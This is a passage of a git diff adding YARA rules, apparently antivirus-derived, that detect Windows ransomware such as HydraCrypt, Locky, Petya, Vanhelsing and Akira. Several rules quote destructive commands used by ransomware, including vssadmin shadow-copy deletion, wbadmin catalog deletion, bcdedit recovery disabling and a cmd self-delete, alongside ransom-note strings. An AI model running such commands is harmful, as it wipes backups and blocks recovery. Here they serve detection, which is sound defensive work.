>=3 + +} \ No newline at end of file diff --git a/Ransom/Win32/GandCrypt/Ransom_Win32_GandCrypt_EAAN_MTB.yar b/Ransom/Win32/GandCrypt/Ransom_Win32_GandCrypt_EAAN_MTB.yar new file mode 100644 index 0000000000..86d5b6ed0f --- /dev/null +++ b/Ransom/Win32/GandCrypt/Ransom_Win32_GandCrypt_EAAN_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_GandCrypt_EAAN_MTB{ + meta: + description = "Ransom:Win32/GandCrypt.EAAN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8a 94 06 32 09 00 00 88 14 08 8b 7c 24 10 40 3b c7 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/HydraCrypt/Ransom_Win32_HydraCrypt_NIT_MTB.yar b/Ransom/Win32/HydraCrypt/Ransom_Win32_HydraCrypt_NIT_MTB.yar new file mode 100644 index 0000000000..4d1ad7bab1 --- /dev/null +++ b/Ransom/Win32/HydraCrypt/Ransom_Win32_HydraCrypt_NIT_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win32_HydraCrypt_NIT_MTB{ + meta: + description = "Ransom:Win32/HydraCrypt.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 00 " + + strings : + $a_80_0 = {66 69 6c 65 73 20 68 61 73 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //files has been encrypted 2 + $a_00_1 = {77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 63 00 61 00 74 00 61 00 6c 00 6f 00 67 00 20 00 2d 00 71 00 75 00 69 00 65 00 74 00 } //2 wbadmin delete catalog -quiet + $a_00_2 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 6e 00 6f 00 } //2 bcdedit /set {default} recoveryenabled no + $a_00_3 = {76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 00 } //2 vssadmin.exe Delete Shadows /All /Quiet + $a_00_4 = {77 00 6d 00 69 00 63 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 } //1 wmic shadowcopy delete + $a_01_5 = {67 65 74 20 79 6f 75 72 20 66 69 6c 65 73 20 62 61 63 6b } //1 get your files back + condition: + ((#a_80_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*1+(#a_01_5 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Ransom/Win32/IncRansom/Ransom_Win32_IncRansom_YAE_MTB.yar b/Ransom/Win32/IncRansom/Ransom_Win32_IncRansom_YAE_MTB.yar new file mode 100644 index 0000000000..f55afe5f05 --- /dev/null +++ b/Ransom/Win32/IncRansom/Ransom_Win32_IncRansom_YAE_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win32_IncRansom_YAE_MTB{ + meta: + description = "Ransom:Win32/IncRansom.YAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 06 00 00 " + + strings : + $a_01_0 = {46 49 4c 45 20 52 45 43 4f 56 45 52 59 2e 74 78 74 } //1 FILE RECOVERY.txt + $a_01_1 = {64 65 63 72 79 70 74 20 6f 6e 65 20 66 69 6c 65 20 66 6f 72 20 66 72 65 65 } //10 decrypt one file for free + $a_01_2 = {52 75 6e 20 71 54 6f 78 } //1 Run qTox + $a_01_3 = {44 65 63 72 79 70 74 69 6f 6e 20 54 6f 6f 6c 3a } //1 Decryption Tool: + $a_01_4 = {70 65 72 6d 61 6e 65 6e 74 6c 79 20 64 61 6d 61 67 65 20 74 68 65 6d } //10 permanently damage them + $a_01_5 = {66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //10 files have been encrypted + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*10+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10) >=33 + +} \ No newline at end of file diff --git a/Ransom/Win32/LockFile/Ransom_Win32_LockFile_ALK_MTB.yar b/Ransom/Win32/LockFile/Ransom_Win32_LockFile_ALK_MTB.yar new file mode 100644 index 0000000000..90b7266a6c --- /dev/null +++ b/Ransom/Win32/LockFile/Ransom_Win32_LockFile_ALK_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win32_LockFile_ALK_MTB{ + meta: + description = "Ransom:Win32/LockFile.ALK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {0f bd f7 0f bd d1 83 f6 1f 83 f2 1f 83 ce 20 80 7c 24 10 00 0f 44 d6 0f bd f3 0f bd c8 83 f6 1f 83 f1 1f 83 ce 20 85 c0 0f 45 f1 83 ce 40 0b 7c 24 08 0f 45 f2 6a 7b 5f 29 f7 } //3 + $a_01_1 = {59 6f 75 72 20 69 6e 66 72 61 73 74 72 75 63 74 75 72 65 20 44 65 61 64 4c 6f 63 6b 65 64 } //2 Your infrastructure DeadLocked + $a_01_2 = {41 6c 6c 20 46 69 6c 65 73 20 73 74 6f 6c 65 6e 20 61 6e 64 20 65 6e 63 72 79 70 74 65 64 } //1 All Files stolen and encrypted + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win32/LockFile/Ransom_Win32_LockFile_FGG_MTB.yar b/Ransom/Win32/LockFile/Ransom_Win32_LockFile_FGG_MTB.yar new file mode 100644 index 0000000000..5f9d7bde84 --- /dev/null +++ b/Ransom/Win32/LockFile/Ransom_Win32_LockFile_FGG_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win32_LockFile_FGG_MTB{ + meta: + description = "Ransom:Win32/LockFile.FGG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_03_0 = {32 04 3e 32 85 ?? ?? ?? ?? 8b 4d e4 88 04 31 8b 45 c0 8b 7d d4 89 45 e4 8a 04 30 46 88 85 ?? ?? ?? ?? 8b 45 d8 2b c7 3b f0 72 } //5 + $a_01_1 = {4e 6f 74 47 65 74 55 70 5c 65 6e 63 72 79 70 74 5c 52 65 6c 65 61 73 65 5c 65 6e 63 72 79 70 74 2e 70 64 62 } //2 NotGetUp\encrypt\Release\encrypt.pdb + $a_81_2 = {2e 6c 6f 63 6b 65 64 } //1 .locked + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2+(#a_81_2 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Ransom/Win32/Locky/Ransom_Win32_Locky_A.yar b/Ransom/Win32/Locky/Ransom_Win32_Locky_A.yar index 710d3e2624..0ef88e5eda 100644 --- a/Ransom/Win32/Locky/Ransom_Win32_Locky_A.yar +++ b/Ransom/Win32/Locky/Ransom_Win32_Locky_A.yar @@ -38,15 +38,4 @@ rule Ransom_Win32_Locky_A_2{ condition: ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*2+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*2+(#a_01_16 & 1)*2) >=10 -} -rule Ransom_Win32_Locky_A_3{ - meta: - description = "Ransom:Win32/Locky.A,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " - - strings : - $a_01_0 = {c7 45 d4 6b 65 72 6e c7 45 d8 65 6c 33 32 c7 45 dc 2e 64 6c 6c c6 45 e0 00 } //1 - $a_01_1 = {c7 45 e4 47 65 74 54 c7 45 e8 69 63 6b 43 c7 45 ec 6f 75 6e 74 } //1 - condition: - ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 - } \ No newline at end of file diff --git a/Ransom/Win32/Locky/Ransom_Win32_Locky_ZID_MTB.yar b/Ransom/Win32/Locky/Ransom_Win32_Locky_ZID_MTB.yar new file mode 100644 index 0000000000..06216c14c9 --- /dev/null +++ b/Ransom/Win32/Locky/Ransom_Win32_Locky_ZID_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_Locky_ZID_MTB{ + meta: + description = "Ransom:Win32/Locky.ZID!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {d2 e8 d2 eb 24 01 80 e3 01 02 d8 0f b6 c3 0d 32 c1 2c 65 03 d0 8a 45 ff 80 e3 01 02 c0 0f b6 f3 02 c3 88 45 ff 8b ce 83 c9 19 8b c6 83 f0 2e 03 d1 03 d0 83 7d f8 00 75 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Mamona/Ransom_Win32_Mamona_CCJX_MTB.yar b/Ransom/Win32/Mamona/Ransom_Win32_Mamona_CCJX_MTB.yar new file mode 100644 index 0000000000..c84daaa9d2 --- /dev/null +++ b/Ransom/Win32/Mamona/Ransom_Win32_Mamona_CCJX_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win32_Mamona_CCJX_MTB{ + meta: + description = "Ransom:Win32/Mamona.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {4d 61 6d 6f 6e 61 2c 20 52 2e 49 2e 50 } //2 Mamona, R.I.P + $a_01_1 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 37 00 20 00 2d 00 6e 00 20 00 33 00 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 44 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 } //1 cmd.exe /C ping 127.0.0.7 -n 3 > Nul & Del /f /q "%s" + $a_01_2 = {59 00 4f 00 55 00 52 00 20 00 46 00 49 00 4c 00 45 00 53 00 20 00 48 00 41 00 56 00 45 00 20 00 42 00 45 00 45 00 4e 00 20 00 45 00 4e 00 43 00 52 00 59 00 50 00 54 00 45 00 44 00 21 00 } //1 YOUR FILES HAVE BEEN ENCRYPTED! + $a_01_3 = {43 00 48 00 45 00 43 00 4b 00 20 00 52 00 45 00 41 00 44 00 4d 00 45 00 2e 00 } //1 CHECK README. + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Mamona/Ransom_Win32_Mamona_DA_MTB.yar b/Ransom/Win32/Mamona/Ransom_Win32_Mamona_DA_MTB.yar new file mode 100644 index 0000000000..86e0dc217a --- /dev/null +++ b/Ransom/Win32/Mamona/Ransom_Win32_Mamona_DA_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win32_Mamona_DA_MTB{ + meta: + description = "Ransom:Win32/Mamona.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 00 " + + strings : + $a_81_0 = {79 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //10 your files have been encrypted + $a_81_1 = {52 45 41 44 4d 45 2e 48 41 65 73 2e 74 78 74 } //5 README.HAes.txt + $a_81_2 = {2e 48 41 45 53 } //5 .HAES + condition: + ((#a_81_0 & 1)*10+(#a_81_1 & 1)*5+(#a_81_2 & 1)*5) >=20 + +} \ No newline at end of file diff --git a/Ransom/Win32/Petya/Ransom_Win32_Petya_BA_MTB.yar b/Ransom/Win32/Petya/Ransom_Win32_Petya_BA_MTB.yar new file mode 100644 index 0000000000..b7911154ed --- /dev/null +++ b/Ransom/Win32/Petya/Ransom_Win32_Petya_BA_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win32_Petya_BA_MTB{ + meta: + description = "Ransom:Win32/Petya.BA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 00 " + + strings : + $a_81_0 = {52 41 4e 53 4f 4d 57 41 52 45 21 } //1 RANSOMWARE! + $a_81_1 = {65 6e 63 72 79 70 74 69 6f 6e 20 61 6c 67 6f 72 69 74 68 6d 2e } //1 encryption algorithm. + $a_81_2 = {54 6f 72 20 42 72 6f 77 73 65 72 } //1 Tor Browser + $a_81_3 = {61 63 63 65 73 73 20 6f 6e 69 6f 6e 20 70 61 67 65 } //1 access onion page + $a_02_4 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-12] 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 2f 00 } //1 + $a_02_5 = {68 74 74 70 3a 2f 2f [0-12] 2e 6f 6e 69 6f 6e 2f } //1 + $a_81_6 = {64 65 63 72 79 70 74 69 6f 6e 20 63 6f 64 65 } //1 decryption code + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_81_6 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win32/RansomWar/Ransom_Win32_RansomWar_GVA_MTB.yar b/Ransom/Win32/RansomWar/Ransom_Win32_RansomWar_GVA_MTB.yar new file mode 100644 index 0000000000..a359344c95 --- /dev/null +++ b/Ransom/Win32/RansomWar/Ransom_Win32_RansomWar_GVA_MTB.yar @@ -0,0 +1,22 @@ + +rule Ransom_Win32_RansomWar_GVA_MTB{ + meta: + description = "Ransom:Win32/RansomWar.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0c 00 00 " + + strings : + $a_01_0 = {57 61 72 20 62 79 20 5b 57 61 72 47 61 6d 65 2c 23 65 6f 66 5d 20 28 20 2a 2a 2a 2a 20 74 69 20 61 6d 6f 20 61 6e 63 68 65 20 73 65 20 74 75 20 6e 6f 6e 20 6d 69 20 72 69 63 61 6d 62 69 20 29 } //1 War by [WarGame,#eof] ( **** ti amo anche se tu non mi ricambi ) + $a_01_1 = {44 65 61 72 20 75 73 65 72 2c } //1 Dear user, + $a_01_2 = {59 6f 75 20 61 72 65 20 72 65 61 64 69 6e 67 20 74 68 65 20 6d 61 69 6c 21 } //1 You are reading the mail! + $a_01_3 = {48 69 2c 20 79 6f 75 20 77 6f 6e 20 } //1 Hi, you won + $a_01_4 = {5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 4f 75 74 6c 6f 6f 6b 20 45 78 70 72 65 73 73 5c 35 2e 30 5c 4d 61 69 6c } //3 \Software\Microsoft\Outlook Express\5.0\Mail + $a_01_5 = {57 61 72 6e 20 6f 6e 20 4d 61 70 69 20 53 65 6e 64 } //1 Warn on Mapi Send + $a_01_6 = {4d 41 50 49 4c 6f 67 6f 6e } //1 MAPILogon + $a_01_7 = {4d 41 50 49 46 69 6e 64 4e 65 78 74 } //1 MAPIFindNext + $a_01_8 = {4d 41 50 49 52 65 61 64 4d 61 69 6c } //1 MAPIReadMail + $a_01_9 = {4d 41 50 49 53 65 6e 64 4d 61 69 6c } //1 MAPISendMail + $a_01_10 = {4d 41 50 49 4c 6f 67 6f 66 66 } //1 MAPILogoff + $a_01_11 = {73 6f 6d 65 73 6f 6d 65 57 61 72 5f 45 4f 46 } //1 somesomeWar_EOF + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*3+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Ransom/Win32/Satan/Ransom_Win32_Satan_AYA_MTB.yar b/Ransom/Win32/Satan/Ransom_Win32_Satan_AYA_MTB.yar new file mode 100644 index 0000000000..78fcba7aa3 --- /dev/null +++ b/Ransom/Win32/Satan/Ransom_Win32_Satan_AYA_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_Satan_AYA_MTB{ + meta: + description = "Ransom:Win32/Satan.AYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {5c 73 6f 75 72 63 65 5c 72 61 6e 73 6f 6d 77 61 72 65 5c 72 61 6e 73 6f 6d 77 61 72 65 2e 63 70 70 } //2 \source\ransomware\ransomware.cpp + $a_00_1 = {49 00 6e 00 66 00 65 00 63 00 74 00 69 00 6f 00 6e 00 20 00 74 00 68 00 72 00 65 00 61 00 64 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 } //1 Infection thread started + $a_00_2 = {54 00 68 00 69 00 73 00 20 00 69 00 73 00 20 00 6e 00 6f 00 74 00 20 00 74 00 68 00 65 00 20 00 66 00 69 00 72 00 73 00 74 00 20 00 74 00 69 00 6d 00 65 00 20 00 74 00 68 00 65 00 20 00 72 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 20 00 69 00 73 00 20 00 72 00 75 00 6e 00 6e 00 69 00 6e 00 67 00 2e 00 } //1 This is not the first time the ransomware is running. + $a_00_3 = {45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6e 00 67 00 20 00 74 00 68 00 65 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 69 00 6e 00 20 00 74 00 68 00 65 00 20 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 20 00 64 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 20 00 65 00 6e 00 64 00 65 00 64 00 2e 00 } //1 Encrypting the files in the profile directory ended. + $a_00_4 = {46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 65 00 20 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 20 00 66 00 6f 00 72 00 20 00 74 00 68 00 65 00 20 00 72 00 61 00 6e 00 73 00 6f 00 6d 00 20 00 6e 00 6f 00 74 00 65 00 2e 00 } //1 Failed to allocate memory for the ransom note. + condition: + ((#a_01_0 & 1)*2+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win32/TeslaCrypt/Ransom_Win32_TeslaCrypt_ERL_MTB.yar b/Ransom/Win32/TeslaCrypt/Ransom_Win32_TeslaCrypt_ERL_MTB.yar new file mode 100644 index 0000000000..b9485a005a --- /dev/null +++ b/Ransom/Win32/TeslaCrypt/Ransom_Win32_TeslaCrypt_ERL_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_TeslaCrypt_ERL_MTB{ + meta: + description = "Ransom:Win32/TeslaCrypt.ERL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {66 8b 94 24 ba 00 00 00 8a 5c 24 2f 88 9c 24 b9 00 00 00 66 2b 8c 24 ba 00 00 00 66 29 d0 66 89 84 24 b2 00 00 00 66 39 8c 24 b2 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Ransom/Win32/Vanhelsing/Ransom_Win32_Vanhelsing_AA.yar b/Ransom/Win32/Vanhelsing/Ransom_Win32_Vanhelsing_AA.yar new file mode 100644 index 0000000000..fc8844e494 --- /dev/null +++ b/Ransom/Win32/Vanhelsing/Ransom_Win32_Vanhelsing_AA.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win32_Vanhelsing_AA{ + meta: + description = "Ransom:Win32/Vanhelsing.AA,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 07 00 00 " + + strings : + $a_01_0 = {56 00 61 00 6e 00 48 00 65 00 6c 00 73 00 69 00 6e 00 67 00 20 00 52 00 61 00 6e 00 73 00 6f 00 6d 00 65 00 77 00 61 00 72 00 65 00 } //10 VanHelsing Ransomeware + $a_01_1 = {00 47 6c 6f 62 61 6c 5c 56 61 6e 48 65 6c 73 69 6e 67 00 } //10 + $a_01_2 = {00 00 76 00 68 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 2e 00 70 00 6e 00 67 00 00 00 } //10 + $a_01_3 = {00 00 76 00 68 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 2e 00 69 00 63 00 6f 00 00 00 } //10 + $a_01_4 = {00 52 45 41 44 4d 45 2e 74 78 74 00 } //10 刀䅅䵄⹅硴t + $a_01_5 = {2e 00 76 00 61 00 6e 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 00 00 } //1 + $a_01_6 = {2e 00 76 00 61 00 6e 00 68 00 65 00 6c 00 73 00 69 00 6e 00 67 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=31 + +} \ No newline at end of file diff --git a/Ransom/Win32/Vanhelsing/Ransom_Win32_Vanhelsing_AB.yar b/Ransom/Win32/Vanhelsing/Ransom_Win32_Vanhelsing_AB.yar new file mode 100644 index 0000000000..5b50942a9f --- /dev/null +++ b/Ransom/Win32/Vanhelsing/Ransom_Win32_Vanhelsing_AB.yar @@ -0,0 +1,22 @@ + +rule Ransom_Win32_Vanhelsing_AB{ + meta: + description = "Ransom:Win32/Vanhelsing.AB,SIGNATURE_TYPE_PEHSTR_EXT,36 00 36 00 0c 00 00 " + + strings : + $a_01_0 = {00 00 2d 00 2d 00 53 00 69 00 6c 00 65 00 6e 00 74 00 00 00 } //10 + $a_01_1 = {00 00 2d 00 2d 00 6e 00 6f 00 2d 00 70 00 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 00 00 } //10 + $a_01_2 = {00 00 2d 00 2d 00 6e 00 6f 00 2d 00 77 00 61 00 6c 00 6c 00 70 00 61 00 70 00 65 00 72 00 00 00 } //10 + $a_01_3 = {00 00 2d 00 2d 00 6e 00 6f 00 2d 00 6c 00 6f 00 63 00 61 00 6c 00 00 00 } //10 + $a_01_4 = {00 00 2d 00 2d 00 73 00 70 00 72 00 65 00 61 00 64 00 2d 00 73 00 6d 00 62 00 00 00 } //10 + $a_01_5 = {5b 00 2a 00 5d 00 09 00 4c 00 6f 00 63 00 6b 00 69 00 6e 00 67 00 20 00 66 00 69 00 6c 00 65 00 20 00 64 00 6f 00 6e 00 65 00 20 00 2e 00 2e 00 2e 00 0a 00 00 00 } //10 + $a_01_6 = {5b 00 2a 00 5d 00 09 00 73 00 74 00 61 00 72 00 74 00 20 00 4c 00 6f 00 63 00 6b 00 69 00 6e 00 67 00 20 00 2e 00 2e 00 2e 00 0a 00 00 00 } //10 + $a_01_7 = {5b 00 2a 00 5d 00 20 00 46 00 69 00 6c 00 65 00 20 00 25 00 73 00 20 00 4c 00 4f 00 43 00 4b 00 45 00 44 00 20 00 53 00 55 00 43 00 43 00 45 00 53 00 53 00 46 00 55 00 4c 00 4c 00 59 00 0a 00 00 00 } //10 + $a_01_8 = {2d 00 2d 00 2d 00 6b 00 65 00 79 00 2d 00 2d 00 2d 00 00 00 } //1 + $a_01_9 = {2d 00 2d 00 2d 00 65 00 6e 00 64 00 6b 00 65 00 79 00 2d 00 2d 00 2d 00 00 00 } //1 + $a_01_10 = {2d 00 2d 00 2d 00 6e 00 6f 00 6e 00 63 00 65 00 2d 00 2d 00 2d 00 00 00 } //1 + $a_01_11 = {2d 00 2d 00 2d 00 65 00 6e 00 64 00 6e 00 6f 00 6e 00 63 00 65 00 2d 00 2d 00 2d 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*10+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=54 + +} \ No newline at end of file diff --git a/Ransom/Win32/WarLock/Ransom_Win32_WarLock_MKV_MTB.yar b/Ransom/Win32/WarLock/Ransom_Win32_WarLock_MKV_MTB.yar new file mode 100644 index 0000000000..365fcbc167 --- /dev/null +++ b/Ransom/Win32/WarLock/Ransom_Win32_WarLock_MKV_MTB.yar @@ -0,0 +1,18 @@ + +rule Ransom_Win32_WarLock_MKV_MTB{ + meta: + description = "Ransom:Win32/WarLock.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 00 " + + strings : + $a_81_0 = {57 65 20 61 72 65 20 5b 57 61 72 6c 6f 63 6b 20 47 72 6f 75 70 5d } //2 We are [Warlock Group] + $a_81_1 = {59 6f 75 72 20 73 79 73 74 65 6d 73 20 68 61 76 65 20 62 65 65 6e 20 6c 6f 63 6b 65 64 } //1 Your systems have been locked + $a_81_2 = {50 65 72 6d 61 6e 65 6e 74 20 44 61 74 61 20 4c 6f 73 73 } //1 Permanent Data Loss + $a_81_3 = {3d 3d 3d 3d 3e 49 66 20 59 6f 75 20 52 65 66 75 73 65 20 74 6f 20 50 61 79 } //1 ====>If You Refuse to Pay + $a_81_4 = {64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 } //1 decryption key + $a_81_5 = {57 61 72 6c 6f 63 6b 20 71 54 6f 78 20 49 44 } //1 Warlock qTox ID + $a_81_6 = {48 6f 77 20 74 6f 20 64 65 63 72 79 70 74 20 6d 79 20 64 61 74 61 2e 74 78 74 } //1 How to decrypt my data.txt + $a_81_7 = {49 6d 70 6f 72 74 61 6e 74 21 21 21 2e 70 64 66 } //1 Important!!!.pdf + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win32/XiaoBa/Ransom_Win32_Xiaoba_YAC_MTB.yar b/Ransom/Win32/XiaoBa/Ransom_Win32_Xiaoba_YAC_MTB.yar new file mode 100644 index 0000000000..7561999496 --- /dev/null +++ b/Ransom/Win32/XiaoBa/Ransom_Win32_Xiaoba_YAC_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win32_Xiaoba_YAC_MTB{ + meta: + description = "Ransom:Win32/Xiaoba.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 00 " + + strings : + $a_01_0 = {53 41 50 49 2e 53 70 65 61 6b } //1 SAPI.Speak + $a_01_1 = {66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //1 files have been encrypted + $a_01_2 = {41 74 74 65 6e 74 69 6f 6e 21 20 41 74 74 65 6e 74 69 6f 6e 21 } //1 Attention! Attention! + $a_01_3 = {48 45 4c 50 5f 53 4f 53 } //1 HELP_SOS + $a_01_4 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 } //1 vssadmin delete shadow + $a_01_5 = {58 49 41 4f 42 41 20 32 2e 30 20 52 61 6e 73 6f 6d 77 61 72 65 } //10 XIAOBA 2.0 Ransomware + $a_01_6 = {73 65 74 65 6c 61 68 20 6d 65 6e 79 65 6c 65 73 61 69 6b 61 6e 20 74 72 61 6e 73 61 6b 73 69 } //1 setelah menyelesaikan transaksi + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*10+(#a_01_6 & 1)*1) >=16 + +} \ No newline at end of file diff --git a/Ransom/Win64/Akira/Ransom_Win64_Akira_YAB_MTB.yar b/Ransom/Win64/Akira/Ransom_Win64_Akira_YAB_MTB.yar new file mode 100644 index 0000000000..a1ba803703 --- /dev/null +++ b/Ransom/Win64/Akira/Ransom_Win64_Akira_YAB_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_Akira_YAB_MTB{ + meta: + description = "Ransom:Win64/Akira.YAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_01_0 = {2e 00 61 00 72 00 69 00 6b 00 61 00 } //1 .arika + $a_01_1 = {2e 00 76 00 68 00 64 00 78 00 } //1 .vhdx + $a_01_2 = {48 89 ca 48 83 e2 03 44 8a 04 14 44 30 c0 88 04 0e 48 ff c1 4c 39 d1 } //10 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 